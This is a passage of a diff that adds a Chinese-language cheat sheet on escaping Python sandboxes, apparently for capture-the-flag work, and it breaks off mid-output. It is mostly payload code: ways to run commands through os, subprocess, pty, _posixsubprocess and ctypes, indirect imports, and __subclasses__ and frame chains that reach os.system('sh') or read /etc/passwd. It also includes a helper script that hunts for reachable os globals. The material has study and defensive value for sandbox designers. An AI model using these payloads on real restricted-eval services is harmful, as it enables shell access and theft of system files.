+os.popen('ls -l').read()
+os.execv
+os.execve
+#subprocess模块：
+import subprocess
+subprocess.Popen('ls -l',shell=True)
+subprocess.call('ls',shell=True)
+#platform模块：
+import platform
+platform.popen('ls').read() #py 2.x
+#pty模块
+import pty
+pty.spawn('ls')
+pty.os.system('ls')
+#commands模块--python2.x
+commands.getoutput('ls')
+#_posixsubprocess模块，subprocess的底层实现
+import os
+import _posixsubprocess
+_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False) #3.11,不同版本payload不同
+#posix模块,为os模块在linux下的底层实现
+posix.system('ls')
+posix.popen
+#nt模块,为os模块在windows下的底层实现
+nt.system('ls')
+```
+### 文件操作
+```
+#codecs模块
+import codecs
+codecs.open('test.txt').read()
+#file()函数
+file('test.txt').read() #python2.x
+#open()函数
+open('text.txt').read() #python3.x
+```
+### Ctypes
+ctypes库可以加载共享库，直接调用调用C语言共享库中的函数。\
+#### ctypes.CDLL
+```
+import ctypes
+# 加载 C 标准库
+libc = ctypes.CDLL(None) # None 表示使用系统默认的 C 库
+# 调用 system 函数执行 whoami 命令
+command = b"whoami" # 注意：需要转换为 bytes 类型
+result = libc.system(command)
+# 输出 system 函数的返回值
+print(f"system 函数返回值: {result}")
+```
+#### ctypes.PyDLL
+直接调用Python C API 函数
+```
+import ctypes
+pydll = ctypes.PyDLL(None)
+print(pydll.system(b'whoami'))
+```
+#### ctypes.pythonapi
+ctypes库初始化时会将一个PyDLL对象存放在pythonapi变量中，也可以用这个变量直接调用Python C API 函数。
+```
+import ctypes
+print(ctypes.pythonapi.system(b'whoami'))
+```
+#### ctypes.LibraryLoader(ctypes.CDLL).LoadLibrary
+```
+import ctypes
+ctypes.LibraryLoader(ctypes.CDLL).LoadLibrary('libc.so.6').system(b'whoami')
+```
+### 间接引用
+
+#### 利用白名单模块间接引入
+
+比如cgi模块中引入了os模块，我们导入cgi模块就会间接导入os模块，从而可使用os模块。
+
+```python
+import cgi
+print(cgi.os.system('whoami'))
+```
+
+#### 利用魔法方法遍历父子类危险函数和信息
+
+通过魔法方法可以获得很多其他命名空间下的类
+
+```python
+print(object.__subclasses__())
+print(().__class__.__base__.__subclasses__()) # __base__获得基础类，__subclasses__()获得所有继承类
+
+
+[, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ]
+```
+
+比如这里面的os._wrap_close 可以通过__globals__获得其模块下的所有方法
+
+```python
+>>> print(object.__subclasses__()[133])
+
+
+>>> print(object.__subclasses__()[133].close)
+
+
+>>> print(object.__subclasses__()[133].close.__globals__)
+{'__name__': 'os', '__doc__': ...... 'execlpe': , ..... }
+
+>>> print(object.__subclasses__()[133].close.__globals__['system'])
+
+```
+
+如果没有os._wrap_close，也可以通过ABC类找到os模块
+
+可以看到os模块下存在一个class继承自ABC类，那么我们就可以通过ABC类的__subclasses__()找到os.PathLike,再借助底下的function的__globals__找到os模块的所有函数。
+
+
+
+```python
+>>> print(object.__subclasses__()[112])
+
+>>> print(object.__subclasses__()[112].__subclasses__())
+[]
+>>> print(object.__subclasses__()[112].__subclasses__()[0].__fspath__)
+
+>>> print(object.__subclasses__()[112].__subclasses__()[0].__fspath__.__globals__['system'])
+
+```
+
+可以通过脚本帮忙查找
+
+```python
+def find_os_in_subclass_globals():
+ results = []
+ for subclass in object.__subclasses__():
+ # 遍历子类的所有属性
+ for attr_name in dir(subclass):
+ if attr_name in ('__abstractmethods__','__annotations__'):
+ continue
+ attr = getattr(subclass, attr_name)
+ # 只检查可调用的对象（函数/方法）
+ if callable(attr):
+ try:
+ # 获取函数的__globals__属性
+ globals_dict = getattr(attr, '__globals__', {})
+ if globals_dict and 'os' in globals_dict:
+ results.append((subclass, attr_name))
+ except Exception:
+ continue
+ return results
+
+
+found = find_os_in_subclass_globals()
+if found:
+ print("找到包含os模块的函数/方法:")
+ for class_name, func_name in found:
+ print(f"类: {class_name}, 方法: {func_name}")
+else:
+ print("未找到包含os模块的函数/方法")
+```
+
+```
+找到包含os模块的函数/方法:
+类: , 方法: __init__
+类: , 方法: match
+类: , 方法: find_spec
+类: , 方法: frame_file_is_setup
+类: , 方法: is_cpython
+类: , 方法: pip_imported_during_build
+类: , 方法: spec_for_distutils
+类: , 方法: spec_for_pip
+类: , 方法: spec_for_sensitive_tests
+类: , 方法: spec_for_test.test_distutils
+类: , 方法: __enter__
+类: , 方法: __exit__
+```
+
+列举一些已知的手法
+
+```python
+#
+().__class__.__mro__[1].__subclasses__()[104].load_module("os").system("sh");
+
+#
+().__class__.__bases__[0].__subclasses__()[118].get_data(".", "/etc/passwd")
+
+# -> ->
+().__class__.__mro__[1].__subclasses__()[111].__subclasses__()[0].__subclasses__()[0]("/etc/passwd").read()
+
+#
+().__class__.__mro__[1].__subclasses__()[137].__init__.__builtins__["__import__"]("os").system("sh")
+().__class__.__mro__[1].__subclasses__()[137].__init__.__globals__["system"]("sh")
+().__class__.__mro__[1].__subclasses__()[137].close.__globals__["system"]("sh")
+
+#
+().__class__.__mro__[1].__subclasses__()[262](["cat","/etc/passwd"], stdout=-1).communicate()[0]
+
+# ->
+().__class__.__mro__[1].__subclasses__()[129].__class__.register.__builtins__["__import__"]("os").system("sh")
+
+#
+{}.__class__.__subclasses__()[2].copy.__builtins__["__import__"]("os").system("sh")
+{}.__class__.__subclasses__()[2].update.__builtins__["__import__"]("os").system("sh")
+
+# - instance
+(_ for _ in ()).gi_frame.f_globals["__loader__"].load_module("os").system("sh")
+(_ for _ in ()).gi_frame.f_globals["__builtins__"].__import__("os").system("sh")
+
+# - instance
+(await _ for _ in ()).ag_frame.f_globals["_""_loader_""_"].load_module("os").system("sh")
+(await _ for _ in ()).ag_frame.f_globals["_""_builtins_""_"].eval("_""_import_""_('os').system('sh')")
+```
+
+#### 利用栈帧
+
+通过生成器获得调用者的全局命名空间
+
+```python
+def waff():
+ def f():
+ yield g
+ g = f() #生成器
+ frame = next(g)
+ return frame
+test = waff()
+print(test.f_back.f_globals)
+```
+
+通过抛出异常获得调用者的全局命名空间
+
+```python
+try:
+ raise Exception
+except Exception as e:
+ print(e.__traceback__.tb_frame.f_globals)
+```
+
+通过sys/inspect获得调用者的全局命名空间
+
+```python
+import sys
+print(sys._getframe(1).f_back.f_globals)
+
+import inspect
+print(inspect.currentframe().f_back.f_globals)
+```
+
+
+
+#### gc
+
+gc模块中提供了多个可以获取相关引用、对象的方法，用这个模块可以很容易找到我们想要的对象。
+
+##### gc.get_objects
+
+返回一个列表，可以获得所有的对象，这里以前30个对象作为示例。
+
+```python
+import gc
+print(gc.get_objects()[:30])
+
+"[('.pyc', ), {'_loaders': [('.cpython-39-x86_64-linux-gnu.so', ), ('.abi3.so', ), ('.so', ), ('.py', ), ('.pyc', )], 'path': '/usr/local/lib/python3.9/site-packages/sympy/plotting/backends/textbackend', '_path_mtime': 1739878318.0, '_path_cache': {'text.py', '__init__.py', '__pycache__'}, '_relaxed_path_cache': set()}, set(), {'text.py', '__init__.py', '__pycache__'}, <_frozen_importlib_external.SourceFileLoader object at 0x7f6a9dc615e0>, ModuleSpec(name='sympy.plotting.backends.textbackend.text', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f6a9dc615e0>, origin='/usr/local/lib/python3.9/site-packages/sympy/plotting/backends/textbackend/text.py'), {'name': 'sympy.plotting.backends.textbackend.text', 'loader': <_frozen_importlib_external.SourceFileLoader object at 0x7f6a9dc615e0>, 'origin': '/usr/local/lib/python3.9/site-packages/sympy/plotting/backends/textbackend/text.py', 'loader_state': None, 'submodule_search_locations': None, '_set_fileattr': True, '_cached': '/usr/local/lib/python3.9/site-packages/sympy/plotting/backends/textbackend/__pycache__/text.cpython-39.pyc', '_initializing': False}, , {'__name__': 'sympy.plotting.backends.textbackend.text', '__doc__': None, '__package__': 'sympy.plotting.backends.textbackend', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f6a9dc615e0>, '__spec__': ModuleSpec(name='sympy.plotting.backends.textbackend.text', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f6a9dc615e0>, origin='/usr/local/lib/python3.9/site-packages/sympy/plotting/backends/textbackend/text.py'), '__file__': '/usr/local/lib/python3.9/site-packages/sympy/plotting/backends/textbackend/text.py', '__cached__': '/usr/local/lib/python3.9/site-packages/sympy/plotting/backends/textbackend/__pycache__/text.cpython-39.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': \"Built-in functions, exceptions, and other objects.\\n\\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.\", '__package__': '', '__loader__': , '__spec__': ModuleSpec(name='builtins', loader=, origin='built-in'), '__build_class__': , '__import__': , 'abs': , 'all': , 'any': , 'ascii': , 'bin': , 'breakpoint': , 'callable': , 'chr': , 'compile': , 'delattr': , 'dir': , 'divmod': , 'eval': , 'exec': , 'format': , 'getattr': , 'globals': , 'hasattr': , 'hash': , 'hex': , 'id': , 'input': , 'isinstance': , 'issubclass': , 'iter': , 'len': , 'locals': , 'max': , 'min': , 'next': , 'oct': , 'ord': , 'pow': , 'print': , 'repr': , 'round': , 'setattr': .builtin_setattr_with_checkcode at 0x7f6ab8a58e50>, 'sorted': , 'sum': , 'vars': , 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': , 'memoryview': , 'bytearray': , 'bytes': , 'classmethod': , 'complex': , 'dict': , 'enumerate': , 'filter':